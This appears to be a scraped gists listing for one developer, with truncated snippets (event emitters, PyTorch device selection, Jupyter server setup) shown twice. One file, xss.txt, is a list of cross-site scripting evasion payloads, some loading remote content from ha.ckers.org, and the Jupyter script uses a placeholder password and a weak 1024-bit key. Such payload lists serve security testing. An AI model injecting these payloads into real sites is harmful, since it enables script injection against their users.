Sunrit Jana janaSunrise

## event-emitter.py
from collections import defaultdict
from typing import Callable, Optional

HandlerFunction = Callable[..., None]


class EventHandler:
    def __init__(self):
        self.handlers = defaultdict(list)

## get-pytorch-device.py
# We don't check if `rocm` is available as it uses the same CUDA semantics for AMD GPUs
def get_device():
    if torch.cuda.is_available():
        return 'cuda'
    elif torch.backends.mps.is_available():
        return 'mps'
    else:
        return 'cpu'

## runtime-checker.ts
function isNodeRuntime() {
  // The reason we check for both `v8` instead of `node` is because when running `process.versions` under
  // Bun, it returns `node` and `bun` version, but it doesn't use v8 engine, hence not a Node.js runtime.
  return (
    typeof process !== 'undefined' &&
    process.versions &&
    process.versions.v8
  );
}

## event-emitter.ts
export class EventEmitter {
  public events: Map<string, Set<Function>>;

  constructor() {
    this.events = new Map();
  }

  public on(event: string, listener: Function) {
    if (!this.events.has(event)) this.events.set(event, new Set());

## from_dict_meta.py
import typing as t


class FromDictMeta(type):
    """Metaclass to ensure inherited classes have `from_dict` class method."""
    def __new__(
        cls,
        name: str,
        bases: t.Tuple[type, ...],
        attrs: t.Dict[str, t.Any],

## gradient_centralization.py
# Imports
import tensorflow as tf
from keras import backend as K


# Define function for centralizing the gradients
def centralize_gradients(optimizer, loss, params):
    grads = []  # List to store the gradients

    for grad in K.gradients(loss, params):  # Iterate over gradients using the Keras Backend

## fix-django-csrf-error.js
// Fix CSRF error in django using this.
axios.defaults.xsrfCookieName = "csrftoken";
axios.defaults.xsrfHeaderName = "X-CSRFToken";

## jupyter-setup.sh
sudo pip3 install jupyter

export PASSWD=$(ipython -c "from IPython.lib import passwd; print(passwd('sudo123'))")  # Change with your password here between quotes.

jupyter notebook --generate-config

cd ~
mkdir certs
cd certs
sudo openssl req -x509 -nodes -days 365 -newkey rsa:1024 -keyout mycert.pem -out mycert.pem

## xss.txt
&lt;BASE HREF=\"javascript&#058;alert('XSS');//\"&gt;
&lt;OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html\"&gt;&lt;/OBJECT&gt;
&lt;OBJECT classid=clsid&#58;ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript&#058;alert('XSS')&gt;&lt;/OBJECT&gt;
&lt;EMBED SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;swf\" AllowScriptAccess=\"always\"&gt;&lt;/EMBED&gt;
&lt;EMBED SRC=\"data&#58;image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"&gt;&lt;/EMBED&gt;
a=\"get\";
b=\"URL(\\"\";
c=\"javascript&#058;\";
d=\"alert('XSS');\\")\";
eval(a+b+c+d);

## jupyter.service
[Unit]
Description=jupyter-notebook
After=network.target

[Service]
Type=simple
ExecStart=/home/jana/anaconda3/bin/jupyter-notebook --no-browser --ip=0.0.0.0 --port=9999 --port-retries=50
Restart=always
RestartSec=10
User=<your-user>
	from collections import defaultdict
	from typing import Callable, Optional

	HandlerFunction = Callable[..., None]


	class EventHandler:
	def __init__(self):
	self.handlers = defaultdict(list)
	# We don't check if `rocm` is available as it uses the same CUDA semantics for AMD GPUs
	def get_device():
	if torch.cuda.is_available():
	return 'cuda'
	elif torch.backends.mps.is_available():
	return 'mps'
	else:
	return 'cpu'
	function isNodeRuntime() {
	// The reason we check for both `v8` instead of `node` is because when running `process.versions` under
	// Bun, it returns `node` and `bun` version, but it doesn't use v8 engine, hence not a Node.js runtime.
	return (
	typeof process !== 'undefined' &&
	process.versions &&
	process.versions.v8
	);
	}
	export class EventEmitter {
	public events: Map<string, Set<Function>>;

	constructor() {
	this.events = new Map();
	}

	public on(event: string, listener: Function) {
	if (!this.events.has(event)) this.events.set(event, new Set());
	import typing as t


	class FromDictMeta(type):
	"""Metaclass to ensure inherited classes have `from_dict` class method."""
	def __new__(
	cls,
	name: str,
	bases: t.Tuple[type, ...],
	attrs: t.Dict[str, t.Any],
	# Imports
	import tensorflow as tf
	from keras import backend as K


	# Define function for centralizing the gradients
	def centralize_gradients(optimizer, loss, params):
	grads = [] # List to store the gradients

	for grad in K.gradients(loss, params): # Iterate over gradients using the Keras Backend
	// Fix CSRF error in django using this.
	axios.defaults.xsrfCookieName = "csrftoken";
	axios.defaults.xsrfHeaderName = "X-CSRFToken";
	sudo pip3 install jupyter

	export PASSWD=$(ipython -c "from IPython.lib import passwd; print(passwd('sudo123'))") # Change with your password here between quotes.

	jupyter notebook --generate-config

	cd ~
	mkdir certs
	cd certs
	sudo openssl req -x509 -nodes -days 365 -newkey rsa:1024 -keyout mycert.pem -out mycert.pem
	<BASE HREF=\"javascript:alert('XSS');//\">
	<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>
	<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>
	<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>
	<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>
	a=\"get\";
	b=\"URL(\\"\";
	c=\"javascript:\";
	d=\"alert('XSS');\\")\";
	eval(a+b+c+d);
	[Unit]
	Description=jupyter-notebook
	After=network.target

	[Service]
	Type=simple
	ExecStart=/home/jana/anaconda3/bin/jupyter-notebook --no-browser --ip=0.0.0.0 --port=9999 --port-retries=50
	Restart=always
	RestartSec=10
	User=<your-user>